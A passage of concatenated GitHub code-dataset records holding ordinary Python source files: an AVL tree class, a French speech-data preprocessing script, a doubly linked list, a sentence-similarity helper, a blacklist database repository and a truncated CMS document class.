redistribute it and/or modify\r\n# it under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation, either version 3 of the License, or\r\n# (at your option) any later version.\r\n#\r\n# PyBST is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU General Public License for more details.\r\n#\r\n# You should have received a copy of the GNU General Public License\r\n# along with PyBST. If not, see .\r\n\r\nimport collections\r\nimport bstree\r\n\r\nNode = bstree.Node\r\nBSTree = bstree.BSTree\r\n\r\nclass AVLNode(Node):\r\n \"\"\"Represents a node of a balanced AVL Tree\"\"\"\r\n def __init__(self,key,value):\r\n \"\"\"Initializes a BST node, then add height and balance attributes\"\"\"\r\n Node.__init__(self,key,value)\r\n self.height = 0\r\n self.balance = 0\r\n\r\nclass AVLTree(BSTree):\r\n \"\"\"\r\n AVLTree implements a self-balancing AVL Tree.\r\n\r\n An AVL Tree is an ordered node based tree key structure\r\n in which each node has at most two children, and the heights\r\n of each children of a node differ by at most one.\r\n\r\n For more information regarding AVL Trees, see:\r\n http://en.wikipedia.org/wiki/Avl_tree\r\n\r\n Constructors:\r\n\r\n AVLTree() -> Creates a new empty AVL Tree\r\n AVLTree(seq) -> Creates a new AVL Tree from the elements in sequence [(k1,v1),(k2,v2),...,(kn,vn)]\r\n\r\n For further explanation of some functions or their source code, see bstree.py.\r\n \"\"\"\r\n def __init__(self,*args):\r\n \"\"\"Initializes tree the same as a BST\"\"\"\r\n BSTree.__init__(self,*args)\r\n\r\n def is_valid(self, *args):\r\n \"\"\"\r\n T.is_valid(...) -> Boolean. Produces True if and only if\r\n T is a valid AVL Tree. Raises an exception otherwise.\r\n \"\"\"\r\n if len(args) == 0:\r\n node = self.Root\r\n else:\r\n node = args[0]\r\n\r\n if not node:\r\n return True\r\n\r\n expected_height = self.get_height(node)\r\n expected_balance = self.get_balance(node)\r\n\r\n if not (node.height == expected_height):\r\n raise Exception(\"Height of node \" + str(node.key) + \" is \" + str(node.height) + \" and should be \" + str(expected_height))\r\n\r\n if not (node.balance == expected_balance):\r\n raise Exception(\"Balance of node \" + str(node.key) + \" is \" + str(node.balance) + \" and should be \" + str(expected_balance))\r\n\r\n if abs(expected_balance) > 1:\r\n raise Exception(\"Tree is unbalanced at node \" + str(node.key))\r\n\r\n if node.left:\r\n if not node.left.parent == node:\r\n raise Exception(\"Left child of node \" + str(node.key) + \" is adopted by another node!\")\r\n\r\n if node.right:\r\n if not node.right.parent == node:\r\n raise Exception(\"Right child of node \" + str(node.key) + \" is adopted by another node!\")\r\n\r\n if node.parent and node.parent.left == node:\r\n if node.key > node.parent.key:\r\n raise Exception(\"Node \" + str(node.key) + \" is to the left of \" + str(node.parent.key) + \" but is larger\")\r\n\r\n if node.parent and node.parent.right == node:\r\n if node.key < node.parent.key:\r\n raise Exception(\"Node \" + str(node.key) + \" is to the right of \" + str(node.parent.key) + \" but is smaller\")\r\n\r\n return (self.is_valid(node.left) and self.is_valid(node.right))\r\n\r\n def preorder(self,*args):\r\n \"\"\"\r\n T.preorder(...) -> Sequence. Produces a sequence of the Nodes\r\n in T, obtained in preorder.\r\n \"\"\"\r\n return BSTree.preorder(self,*args)\r\n\r\n def inorder(self,*args):\r\n \"\"\"\r\n T.inorder(...) -> Sequence. Produces a sequence of the Nodes\r\n in T, obtained in inorder.\r\n \"\"\"\r\n return BSTree.inorder(self,*args)\r\n\r\n def postorder(self,*args):\r\n \"\"\"\r\n T.postorder(...) -> Sequence. Produces a sequence of the Nodes\r\n in T, obtained in postorder.\r\n \"\"\"\r\n return BSTree.postorder(self,*args)\r\n\r\n def levelorder(self):\r\n \"\"\"\r\n T.levelorder(...) -> Sequence. Produces a sequence of the Nodes\r\n in T, obtained in levelorder.\r\n \"\"\"\r\n return BSTree.levelorder(self,*args)\r\n\r\n def get_node(self,key,*args):\r\n \"\"\"\r\n T.get_node(key,...) -> Node. Produces the Node in T with key\r\n attribute key. If there is no such Node, produces None.\r\n \"\"\"\r\n return BSTree.get_node(self,key,*args)\r\n\r\n def insert(self,key,value,*args):\r\n \"\"\"\r\n T.insert(key,value...) <==> T[key] = value. Inserts\r\n a new Node with key attribute key and value attribute\r\n value into T. Balances if necessary.\r\n \"\"\"\r\n if not isinstance(key,(int,long,float)):\r\n raise TypeError(str(key) + \" is not a number\")\r\n else:\r\n if not self.Root:\r\n self.Root = AVLNode(key,value)\r\n elif len(args) == 0:\r\n if not self.get_node(key,self.Root):\r\n self.insert(key,value,self.Root)\r\n else:\r\n child = AVLNode(key,value)\r\n parent = args[0]\r\n if child.key > parent.key:\r\n if not parent.right:\r\n parent.right = child\r\n child.parent = parent\r\n self._update_height(parent)\r\n self._update_balance(parent)\r\n node = child\r\n while node and abs(node.balance) <=1:\r\n node = node.parent\r\n if node:\r\n self._balance(node)\r\n else:\r\n self.insert(key,value,parent.right)\r\n else:\r\n if not parent.left:\r\n parent.left = child\r\n child.parent = parent\r\n self._update_height(parent)\r\n self._update_balance(parent)\r\n node = child\r\n while abs(node.balance) <=1:\r\n node = node.parent\r\n if not node:\r\n break\r\n if node:\r\n self._balance(node)\r\n else:\r\n self.insert(key,value,parent.left)\r\n\r\n def insert_from(self,seq):\r\n \"\"\"\r\n T.insert_from(seq). For every key, value pair in seq,\r\n inserts a new Node into T with key and value attributes\r\n as given.\r\n \"\"\"\r\n BSTree.insert_from(self,seq)\r\n\r\n def get_max(self,*args):\r\n \"\"\"\r\n T.get_max(...) -> Node. Produces the Node that has the maximum\r\n key attribute in T.\r\n \"\"\"\r\n return BSTree.get_max(self,*args)\r\n\r\n def get_min(self,*args):\r\n \"\"\"\r\n T.get_min(...) -> Node. Produces the Node that has the minimum\r\n key attribute in T.\r\n \"\"\"\r\n return BSTree.get_min(self,*args)\r\n\r\n def get_element_count(self,*args):\r\n \"\"\"\r\n T.get_element_count(...) -> Nat. Produces the number of elements\r\n in T.\r\n \"\"\"\r\n return BSTree.get_element_count(self,*args)\r\n\r\n def get_height(self,*args):\r\n \"\"\"\r\n T.get_height(...) -> Nat. Produces the height of T, defined\r\n as one added to the height of the tallest subtree.\r\n \"\"\"\r\n return BSTree.get_height(self,*args)\r\n\r\n def get_balance(self,*args):\r\n \"\"\"\r\n T.get_balance(...) -> Nat. Produces the balance of T, defined\r\n as the height of the right subtree taken away from the height\r\n of the left subtree.\r\n \"\"\"\r\n if len(args) == 0:\r\n node = self.Root\r\n else:\r\n node = args[0]\r\n\r\n return ((node.left.height if node.left else -1) -\r\n (node.right.height if node.right else -1))\r\n\r\n def _update_height(self,node):\r\n \"\"\"\r\n T._update_height(node). Updates the height attribute\r\n of Nodes in T starting from node backtracking up to the root.\r\n \"\"\"\r\n if not node:\r\n pass\r\n else:\r\n new_height = self.get_height(node)\r\n if node.height == new_height:\r\n pass\r\n else:\r\n node.height = new_height\r\n self._update_height(node.parent)\r\n\r\n def _update_balance(self,node):\r\n \"\"\"\r\n T._update_balance(node). Updates the balance attribute\r\n of Nodes in T starting from node backtracking up to the root.\r\n \"\"\"\r\n if not node:\r\n pass\r\n else:\r\n new_balance = self.get_balance(node)\r\n if node.balance == new_balance:\r\n pass\r\n else:\r\n node.balance = new_balance\r\n self._update_balance(node.parent)\r\n\r\n def _rotate_left(self,pivot):\r\n \"\"\"\r\n T._rotate_left(pivot). Performs a left tree rotation in T\r\n around the Node pivot.\r\n \"\"\"\r\n old_root = pivot\r\n par_node = old_root.parent\r\n\r\n new_root = old_root.right\r\n temp = new_root.right\r\n old_root.right = new_root.left\r\n\r\n if (old_root.right):\r\n old_root.right.parent = old_root\r\n new_root.left = old_root\r\n old_root.parent = new_root\r\n\r\n if par_node is None:\r\n self.Root = new_root\r\n self.Root.parent = None\r\n else:\r\n if par_node.right and par_node.right.key == old_root.key:\r\n par_node.right = new_root\r\n new_root.parent = par_node\r\n elif par_node.left and par_node.left.key == old_root.key:\r\n par_node.left = new_root\r\n new_root.parent = par_node\r\n\r\n self._update_height(new_root.left)\r\n self._update_height(par_node)\r\n self._update_balance(new_root.left)\r\n self._update_balance(par_node)\r\n\r\n def _rotate_right(self,pivot):\r\n \"\"\"\r\n T._rotate_right(pivot). Performs a right tree rotation in T\r\n around the Node pivot.\r\n \"\"\"\r\n old_root = pivot\r\n par_node = old_root.parent\r\n\r\n new_root = old_root.left\r\n temp = new_root.left\r\n old_root.left = new_root.right\r\n\r\n if (old_root.left):\r\n old_root.left.parent = old_root\r\n\r\n new_root.right = old_root\r\n old_root.parent = new_root\r\n\r\n if par_node is None:\r\n self.Root = new_root\r\n self.Root.parent = None\r\n else:\r\n if par_node.right and par_node.right.key == old_root.key:\r\n par_node.right = new_root\r\n new_root.parent = par_node\r\n elif par_node.left and par_node.left.key == old_root.key:\r\n par_node.left = new_root\r\n new_root.parent = par_node\r\n\r\n self._update_height(new_root.right)\r\n self._update_height(par_node)\r\n self._update_balance(new_root.right)\r\n self._update_balance(par_node)\r\n\r\n def _balance(self,pivot):\r\n \"\"\"\r\n T._balance(pivot). Balances T at Node pivot, performing\r\n appropriate tree rotations to ensure T remains a valid AVL Tree.\r\n \"\"\"\r\n weight = self.get_balance(pivot)\r\n\r\n if weight == -2:\r\n if self.get_balance(pivot.right) == -1 or self.get_balance(pivot.right) == 0:\r\n self._rotate_left(pivot)\r\n\r\n elif self.get_balance(pivot.right) == 1:\r\n self._rotate_right(pivot.right)\r\n self._rotate_left(pivot)\r\n\r\n elif weight == 2:\r\n if self.get_balance(pivot.left) == 1 or self.get_balance(pivot.left) == 0:\r\n self._rotate_right(pivot)\r\n\r\n elif self.get_balance(pivot.left) == -1:\r\n self._rotate_left(pivot.left)\r\n self._rotate_right(pivot)\r\n\r\n def _delete_leaf(self,node):\r\n \"\"\"\r\n T._delete_leaf_parent(node). Deletes node from T, treating it\r\n as a Node with only one child.\r\n \"\"\"\r\n par_node = node.parent\r\n\r\n if par_node:\r\n if par_node.left == node:\r\n par_node.left = None\r\n else:\r\n par_node.right = None\r\n\r\n del node\r\n\r\n self._update_height(par_node)\r\n self._update_balance(par_node)\r\n to_balance = par_node\r\n\r\n while to_balance and abs(to_balance.balance) <=1:\r\n to_balance = to_balance.parent\r\n if to_balance:\r\n self._balance(to_balance)\r\n\r\n else:\r\n self.Root = None\r\n\r\n def _delete_leaf_parent(self,node):\r\n \"\"\"\r\n T._delete_leaf_parent(node). Deletes node from T, treating it\r\n as a Node with only one child.\r\n \"\"\"\r\n par_node = node.parent\r\n\r\n if node.key == self.Root.key:\r\n if node.right:\r\n self.Root = node.right\r\n node.right = None\r\n else:\r\n self.Root = node.left\r\n node.left = None\r\n\r\n else:\r\n if par_node.right == node:\r\n if node.right:\r\n par_node.right = node.right\r\n par_node.right.parent = par_node\r\n node.right = None\r\n else:\r\n par_node.right = node.left\r\n par_node.right.parent = par_node\r\n node.left = None\r\n else:\r\n\r\n if node.right:\r\n par_node.left = node.right\r\n par_node.left.parent = par_node\r\n node.right = None\r\n else:\r\n par_node.left = node.left\r\n par_node.left.parent = par_node\r\n node.left = None\r\n\r\n del node\r\n\r\n self._update_height(par_node)\r\n self._update_balance(par_node)\r\n to_balance = par_node\r\n\r\n while to_balance and abs(to_balance.balance) <=1:\r\n to_balance = to_balance.parent\r\n if to_balance:\r\n self._balance(to_balance)\r\n\r\n def _switch_nodes(self,node1,node2):\r\n \"\"\"\r\n T._switch_nodes(node1,node2). Switches positions\r\n of node1 and node2 in T.\r\n \"\"\"\r\n BSTree._switch_nodes(self,node1,node2)\r\n\r\n def _delete_node(self,node):\r\n \"\"\"\r\n T._delete_node(node). Deletes node from T, treating it as\r\n a Node with two children.\r\n \"\"\"\r\n if self.get_height(node.left) > self.get_height(node.right):\r\n to_switch = self.get_max(node.left)\r\n self._switch_nodes(node,to_switch)\r\n\r\n if not (to_switch.right or to_switch.left):\r\n to_delete = self.get_max(node.left)\r\n self._delete_leaf(to_delete)\r\n else:\r\n to_delete = self.get_max(node.left)\r\n self._delete_leaf_parent(to_delete)\r\n else:\r\n to_switch = self.get_min(node.right)\r\n self._switch_nodes(node,to_switch)\r\n\r\n if not (to_switch.right or to_switch.left):\r\n to_delete = self.get_min(node.right)\r\n self._delete_leaf(to_delete)\r\n else:\r\n to_delete = self.get_min(node.right)\r\n self._delete_leaf_parent(to_delete)\r\n\r\n def delete(self,key):\r\n \"\"\"T.delete(key) <==> del T[key]. Deletes the Node\r\n with key attribute key from T.\r\n \"\"\"\r\n node = self.get_node(key,self.Root)\r\n\r\n if node:\r\n if not (node.left or node.right):\r\n self._delete_leaf(node)\r\n\r\n elif not (node.left and node.right):\r\n self._delete_leaf_parent(node)\r\n\r\n else:\r\n self._delete_node(node)\r\n\r\n def delete_from(self,seq):\r\n \"\"\"\r\n T.delete_from(seq). For every keyin seq, deletes\r\n the Node with that key attribute from T.\r\n \"\"\"\r\n if isinstance(seq,collections.Iterable):\r\n for x in seq:\r\n self.delete(x)\r\n else:\r\n raise TypeError(str(iter) + \" is not iterable\")","repo_name":"TylerSandman/py-bst","sub_path":"pybst/avltree.py","file_name":"avltree.py","file_ext":"py","file_size_in_byte":16515,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"82"} +{"seq_id":"846835799","text":"# Importer les bibliothèques nécessaires\nprint('Importation des librairies...\\n')\nimport pandas as pd\nimport numpy as np\nimport re\nimport json\nimport os\nimport librosa\nimport random\n\n############################################################################################################################\ndef Sup_columns(Dataframe):\n column_to_dtop = ['client_id', 'up_votes', 'down_votes', 'age', 'gender', 'accents', 'variant', 'locale', 'segment']\n Dataframe.drop(column_to_dtop, inplace=True, axis = 1)\n print(len(column_to_dtop),'colonnes supprimées.\\n')\n return Dataframe\n\ndef add_fullaudio_path (Dataframe,clips_path):\n Dataframe['path'] = clips_path + '//' + Dataframe['path'] # Créer une nouvelle colonne 'path' en concaténant path_audio avec le contenu de 'path'\n new_df = Dataframe[['path', 'sentence']] # Créer un nouveau DataFrame avec les colonnes 'path' et 'sentence' uniquement\n # Afficher le premier chemin audio et la première phrase\n #print(new_df['path'][0])\n #print(new_df['sentence'][0])\n return new_df\n\n\"\"\"\ndef treat_sentence(Dataframe):\n Dataframe[\"sentence\"] = Dataframe[\"sentence\"].apply(clean_sentence)\n # Afficher le premier chemin audio et la première phrase\n #print(Dataframe['path'][0])\n #print(Dataframe['sentence'][0])\n return Dataframe\n\ndef clean_sentence(text):\n text = re.sub(r\"[:,-?!;.@#+*$£%<>_°)(&=\\[\\]\\^\\\"]\", \"\", text) # Supprimer les caractères spéciaux\n text = text.lower() # Normaliser en lettres minuscules\n return text\n\ndef create_vocab(Dataframe): # UNIQUEMENT SUR LE TRAIN DATASET\n \n print(\"Extraction du vocabulaire..\")\n sentence_concatenated = \"\".join(Dataframe[\"sentence\"])\n letters = sorted(list(set(sentence_concatenated))) # Lettres distinctes\n letters.append(\"|\") # Ajouter le caractère spécial pour l'espace\n letters.append(\"\") # Ajouter le token \"inconnu\"\n letters.append(\"\") # Ajouter le token de remplissage\n\n vocab = {char: idx for idx, char in enumerate(letters)}\n print('\\nVocabulaire extrait :',vocab)\n\n print(\"\\nTokenization..\")\n Dataframe[\"tokens\"] = Dataframe[\"sentence\"].apply(tokenize_text, args=(vocab,))\n \n\n with open(f\"{new_dataset_path}vocabulaire.json\", \"w\") as f:\n json.dump(vocab, f)\n \n return Dataframe\n\ndef tokenize_text(text, vocab):\n tokens = []\n for char in text:\n if char in vocab:\n tokens.append(vocab[char])\n else:\n tokens.append(vocab[\"\"]) # Caractère inconnu\n return tokens\n\"\"\"\n\ndef View_samplingRate(Dataframe):\n print(\"\\nRandom sampling rate :\")\n for i in range(0,4):\n r = random.randint(0,10000)\n signal, sr = librosa.load(Dataframe['path'][r], sr=None) # Charger l'audio avec le sampling rate d'origine\n print(f\"audio_file n°{r} : {sr}\")\n\n\"\"\" \ndef process_audio(file_path, target_sr):\n signal, sr = librosa.load(file_path, sr=None) # Charger l'audio avec le sampling rate d'origine\n if sr != target_sr:\n signal = librosa.resample(signal, sr, target_sr) # Resampler l'audio au sampling rate cible\n\n return np.asarray(signal)\n\ndef resample_audio(Dataframe):\n target_sr = 16000 # Sampling rate cible\n\n # Parcourir tous les fichiers audio et les traiter\n for index, row in Dataframe.iterrows():\n audio_file = row[\"path\"]\n processed_audio = process_audio(audio_file, target_sr)\n\"\"\" \n\n############################################################################################################################\n\n# Chemin vers les fichiers contenant les datas\ndataset_path = '//Users//charles-albert//Desktop//Projet Ingénieur//datas//fr//'\nclips_path = '//Users//charles-albert//Desktop//Projet Ingénieur//datas//fr//clips'\nnew_dataset_path = '//Users//charles-albert//Desktop/Projet Ingénieur//treat_datas//'\n\ntrain_path = f'{dataset_path}train.tsv'\ntest_path = f'{dataset_path}test.tsv'\n\n# Charger les fichiers TSV dans un DataFrame pandas\nprint('Creation des dataframes...\\n')\ntrain_df = pd.read_csv(train_path, delimiter='\\t')\ntest_df = pd.read_csv(test_path, delimiter='\\t')\n\nprint('\\n',len(train_df),'Train samples trouvés\\n')\ntrain_df.info()\n\nprint('\\n',len(test_df),'Test samples trouvés\\n')\ntest_df.info()\n\n# Supression des colonnes inutiles - Modification colonne 1 (path) - Modification colonne 2 (sentence)\nprint('\\nTraitement des Datas...')\nprint('\\nSupression des colonnes inutiles...')\ntrain_df = Sup_columns(train_df)\ntest_df = Sup_columns(test_df)\n\nprint('\\nTraitement de la colonne \\'path\\'...')\ntrain_df = add_fullaudio_path(train_df,clips_path)\ntest_df = add_fullaudio_path(test_df,clips_path)\n\n\"\"\"\nprint('\\nTraitement de la colonne \\'sentence\\'...')\ntrain_df = treat_sentence(train_df)\ntest_df = treat_sentence(test_df)\n\nprint('\\nCreation d\\'un vocabulaire et d\\'un Tokenizer...')\ntrain_df = create_vocab(train_df)\n\"\"\"\n\nprint('\\nVisualisation des Sampling Rate...')\nView_samplingRate(train_df)\nView_samplingRate(test_df)\n\nprint('\\nVisualisation des nouveaux dataframes...')\nprint(train_df.head(5))\nprint(test_df.head(5))\n\nprint('\\nSauvegarde...')\ntrain_df.to_csv(f\"{new_dataset_path}train.tsv\", sep=\"\\t\", index=False)\ntest_df.to_csv(f\"{new_dataset_path}test.tsv\", sep=\"\\t\", index=False)\nprint('\\nSauvegarde Terminée.')","repo_name":"CAprogs/French-Speech-Recognition","sub_path":"01_pretraitement_datas.py","file_name":"01_pretraitement_datas.py","file_ext":"py","file_size_in_byte":5295,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10879863204","text":"from typing import Any\n\nclass Node:\n \"\"\"\n models a node in a doubly linked list\n \"\"\"\n\n def __init__(self, data: Any) -> None:\n self.data = data\n self.next_node = None\n self.previous_node = None\n\n\nclass DoublyLinkedList:\n \"\"\"\n models a doubly linked list data structure\n \"\"\"\n\n def __init__(self) -> None:\n self.head = None\n self.tail = None\n self.number_of_nodes = 0\n\n #0(1) operation\n def insert_end(self, data: Any) -> None:\n new_node = Node(data)\n self.number_of_nodes += 1\n\n # if linked list is empty\n if not self.head:\n self.head = new_node\n self.tail = new_node\n # there is at least one item\n else:\n self.tail.next_node = new_node\n new_node.previous_node = self.tail\n\n self.tail = new_node\n\n\n # 0(n) operation. Remember, doubly linked lists could be traversed\n # in both directions.\n def traverse_forward(self) -> None:\n place_holder_node = self.head\n\n while place_holder_node is not None:\n print(place_holder_node.data)\n place_holder_node = place_holder_node.next_node\n\n # O(n) operation\n def traverse_backward(self) -> None:\n place_holder_node = self.tail\n\n while place_holder_node is not None:\n print(place_holder_node.data)\n place_holder_node = place_holder_node.previous_node\n\n\nif __name__ == \"__main__\":\n doubly_list = DoublyLinkedList()\n\n doubly_list.insert_end(1)\n doubly_list.insert_end(2)\n doubly_list.insert_end(3)\n\n doubly_list.traverse_forward()\n print(\"______________________________\")\n doubly_list.traverse_backward()\n","repo_name":"nyior/algorithms-and-datastructures-python","sub_path":"data_structures/linked_lists/doubly_linked_list/implementation.py","file_name":"implementation.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"70054911630","text":"import os\nimport sys\nfrom sentence_transformers import SentenceTransformer, util\nmodel = SentenceTransformer('all-MiniLM-L6-v2')\n\n# find the most similar posts to a given question in a given tag\n# return as user prompt\ndef findSimilar(course, tag, question):\n print(\"Encoding similar archived posts...\")\n\n # get all posts from same tag as question\n # with student's question as the first entry\n posts = []\n posts.append(question)\n\n # go thru files in tag folder to collect posts\n folder = './data/' + course + '/' + tag + '/'\n for filename in os.listdir(folder):\n filepath = folder + filename\n file = open(filepath, 'r')\n po = file.read().split('###question ')\n po = po[1:] # get rid of empty first entry\n po = [p.strip() for p in po] # get rid of trailing newlines\n posts.extend(po)\n\n # get only questions\n questions = []\n questions.append(question)\n questions.extend([p.split(\"#\")[0] for p in posts[1:]])\n\n # encode all questions\n embeddings = model.encode(questions)\n\n # compute cosine similarity for all \n cos_sim = util.cos_sim(embeddings[0], embeddings)\n\n # add all pairs to a list with their cosine similarity score\n most_similar_posts = []\n for i in range(len(cos_sim[0])):\n most_similar_posts.append([cos_sim[0][i], i])\n\n # sort list by the highest cosine similarity score\n most_similar_posts = sorted(most_similar_posts, key=lambda x: x[0], reverse=True)\n\n # delete question from most similar posts bc it's the same post\n most_similar_posts = most_similar_posts[1:]\n\n ### DEPRECATED CODE START: this used to just print out something to copypaste\n ### keeping for testing purposes\n # # print question\n # print(\"QUESTION:\\n\" + question + \"\\n\")\n\n # # print top 5 most relevant posts\n # print(\"INFORMATION:\")\n # for score, i in most_similar_posts[0:5]:\n # #print(\"{} \\t {:.4f}\".format(posts[i], score))\n # print(posts[i])\n # print(\"confidence score: {:.3f}\\n\".format(score))\n ### DEPRECATED CODE END\n\n # create user prompt\n # question\n user_prompt = \"QUESTION:\\n\" + question + \"\\n\\n\"\n # top 5 most relevant posts\n user_prompt += \"INFORMATION:\\n\"\n for score, i in most_similar_posts[0:5]:\n user_prompt += posts[i] + \"\\n\"\n user_prompt += \"similarity score: {:.3f}\\n\\n\".format(score)\n\n # also get confidence score based on similarity of most relevant post\n confidence_score = \"{:.3f}\\n\\n\".format(most_similar_posts[0][0])\n\n print(\"Encoded!\")\n\n return user_prompt, confidence_score\n\n\n# prompt input\n# question = input(\"PASTE QUESTION HERE: \")\n# tag = input(\"ENTER CATEGORY: \")\n# print()\n\n# findSimilar(question, tag)","repo_name":"falseaxiom/cgbot","sub_path":"code/embed.py","file_name":"embed.py","file_ext":"py","file_size_in_byte":2748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6518789481","text":"from typing import Optional, List\n\nfrom sqlalchemy import select, delete\n\nfrom database import run_query, run_commit, add_item\nfrom database.tables.dt_blacklist import BlacklistType, DTBlacklistItem\n\nasync def get_blacklist_item(bl_type: BlacklistType, identifier: int) -> Optional[DTBlacklistItem]:\n statement = select(DTBlacklistItem).filter(DTBlacklistItem.bl_type == BlacklistType(bl_type), DTBlacklistItem.identifier == identifier)\n result = await run_query(statement)\n return result.scalar_one_or_none()\n\nasync def is_on_blacklist(bl_type: BlacklistType, identifier: int) -> bool:\n result = await run_query(select(DTBlacklistItem.identifier).filter(DTBlacklistItem.bl_type == BlacklistType(bl_type), DTBlacklistItem.identifier == identifier))\n return result.scalar_one_or_none() is not None\n\nasync def get_blacklist_items(bl_type: Optional[BlacklistType]=None) -> List[DTBlacklistItem]:\n if bl_type is not None:\n result = await run_query(select(DTBlacklistItem).filter(DTBlacklistItem.bl_type == BlacklistType(bl_type)))\n return result.scalars().all()\n\n result = await run_query(select(DTBlacklistItem))\n return result.scalars().all()\n\nasync def create_blacklist_item(bl_type: BlacklistType, identifier: int, additional_data: Optional[str]=None) -> Optional[DTBlacklistItem]:\n item = await get_blacklist_item(bl_type, identifier)\n if item is not None: return None\n\n item = DTBlacklistItem(bl_type=BlacklistType(bl_type), identifier=identifier, additional_data=additional_data)\n await add_item(item)\n\n return item\n\nasync def remove_blacklist_item(bl_type: BlacklistType, identifier: int) -> bool:\n result = await run_query(delete(DTBlacklistItem).filter(DTBlacklistItem.bl_type == BlacklistType(bl_type), DTBlacklistItem.identifier == identifier))\n await run_commit()\n return result.rowcount > 0\n","repo_name":"Matesxs/DeepTownEventBot","sub_path":"database/dt_blacklist_repo.py","file_name":"dt_blacklist_repo.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39746818197","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\ndirect PAS\nPython Application Services\n----------------------------------------------------------------------------\n(C) direct Netware Group - All rights reserved\nhttps://www.direct-netware.de/redirect?pas;contentor\n\nThe following license agreement remains valid unless any additions or\nchanges are being made by direct Netware Group in a written form.\n\nThis program is free software; you can redistribute it and/or modify it\nunder the terms of the GNU General Public License as published by the\nFree Software Foundation; either version 2 of the License, or (at your\noption) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT\nANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\nFITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for\nmore details.\n\nYou should have received a copy of the GNU General Public License along with\nthis program; if not, write to the Free Software Foundation, Inc.,\n51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n----------------------------------------------------------------------------\nhttps://www.direct-netware.de/redirect?licenses;gpl\n----------------------------------------------------------------------------\n#echo(pasContentorVersion)#\n#echo(__FILEPATH__)#\n\"\"\"\n\nfrom time import time\n\nfrom dNG.data.binary import Binary\nfrom dNG.data.data_linker import DataLinker\nfrom dNG.data.ownable_mixin import OwnableMixin as OwnableInstance\nfrom dNG.data.ownable_lockable_read_mixin import OwnableLockableReadMixin\nfrom dNG.database.instances.contentor_document import ContentorDocument as _DbContentorDocument\nfrom dNG.database.instances.text_entry import TextEntry as _DbTextEntry\nfrom dNG.database.lockable_mixin import LockableMixin\nfrom dNG.database.sort_definition import SortDefinition\n\nfrom .category import Category\n\nclass Document(DataLinker, LockableMixin, OwnableLockableReadMixin):\n \"\"\"\n\"Document\" represents a contentor entry.\n\n:author: direct Netware Group et al.\n:copyright: direct Netware Group - All rights reserved\n:package: pas\n:subpackage: contentor\n:since: v0.2.00\n:license: https://www.direct-netware.de/redirect?licenses;gpl\n GNU General Public License 2\n \"\"\"\n\n _DB_INSTANCE_CLASS = _DbContentorDocument\n \"\"\"\nSQLAlchemy database instance class to initialize for new instances.\n \"\"\"\n\n def __init__(self, db_instance = None):\n \"\"\"\nConstructor __init__(Document)\n\n:param db_instance: Encapsulated SQLAlchemy database instance\n\n:since: v0.2.00\n \"\"\"\n\n DataLinker.__init__(self, db_instance)\n LockableMixin.__init__(self)\n OwnableLockableReadMixin.__init__(self)\n\n self.set_max_inherited_permissions(OwnableLockableReadMixin.READABLE,\n OwnableLockableReadMixin.READABLE\n )\n #\n\n def delete(self):\n \"\"\"\nDeletes this entry from the database.\n\n:since: v0.2.00\n \"\"\"\n\n if (self.log_handler is not None): self.log_handler.debug(\"#echo(__FILEPATH__)# -{0!r}.delete()- (#echo(__LINE__)#)\", self, context = \"pas_datalinker\")\n\n with self:\n db_text_entry_instance = self.local.db_instance.rel_text_entry\n\n DataLinker.delete(self)\n if (db_text_entry_instance is not None): self.local.connection.delete(db_text_entry_instance)\n #\n #\n\n def _get_default_sort_definition(self, context = None):\n \"\"\"\nReturns the default sort definition list.\n\n:param context: Sort definition context\n\n:return: (object) Sort definition\n:since: v0.2.00\n \"\"\"\n\n if (self.log_handler is not None): self.log_handler.debug(\"#echo(__FILEPATH__)# -{0!r}._get_default_sort_definition({1})- (#echo(__LINE__)#)\", self, context, context = \"pas_datalinker\")\n\n return (DataLinker._get_default_sort_definition(self, context)\n if (context == \"DataLinker\") else\n SortDefinition([ ( \"position\", SortDefinition.ASCENDING ),\n ( \"title\", SortDefinition.ASCENDING )\n ])\n )\n #\n\n def _get_unknown_data_attribute(self, attribute):\n \"\"\"\nReturns the data for the requested attribute not defined for this instance.\n\n:param attribute: Requested attribute\n\n:return: (dict) Value for the requested attribute\n:since: v0.2.00\n \"\"\"\n\n if (attribute == \"content\" and self.local.db_instance.rel_text_entry is not None): _return = self.local.db_instance.rel_text_entry.content\n else: _return = DataLinker._get_unknown_data_attribute(self, attribute)\n\n return _return\n #\n\n def _insert(self):\n \"\"\"\nInsert the instance into the database.\n\n:since: v0.2.00\n \"\"\"\n\n with self.local.connection.no_autoflush:\n DataLinker._insert(self)\n\n if (self.local.db_instance.time_published is None): self.local.db_instance.time_published = int(time())\n\n is_acl_missing = (len(self.local.db_instance.rel_acl) == 0)\n is_data_missing = self.is_data_attribute_none(\"owner_type\", \"entry_type\")\n is_permission_missing = self.is_data_attribute_none(\"guest_permission\", \"user_permission\")\n\n parent_object = (self.load_parent() if (is_acl_missing or is_data_missing or is_permission_missing) else None)\n\n if (is_data_missing and (isinstance(parent_object, Category) or isinstance(parent_object, Document))):\n parent_data = parent_object.get_data_attributes(\"id_site\", \"entry_type\")\n\n if (self.local.db_instance.id_site is None and parent_data['id_site'] is not None): self.local.db_instance.id_site = parent_data['id_site']\n if (self.local.db_instance.entry_type is None): self.local.db_instance.entry_type = parent_data['entry_type']\n #\n\n if (isinstance(parent_object, OwnableInstance)):\n if (is_acl_missing): self._copy_acl_entries_from_instance(parent_object)\n if (is_permission_missing): self._copy_default_permission_settings_from_instance(parent_object)\n #\n #\n #\n\n def set_data_attributes(self, **kwargs):\n \"\"\"\nSets values given as keyword arguments to this method.\n\n:since: v0.2.00\n \"\"\"\n\n with self, 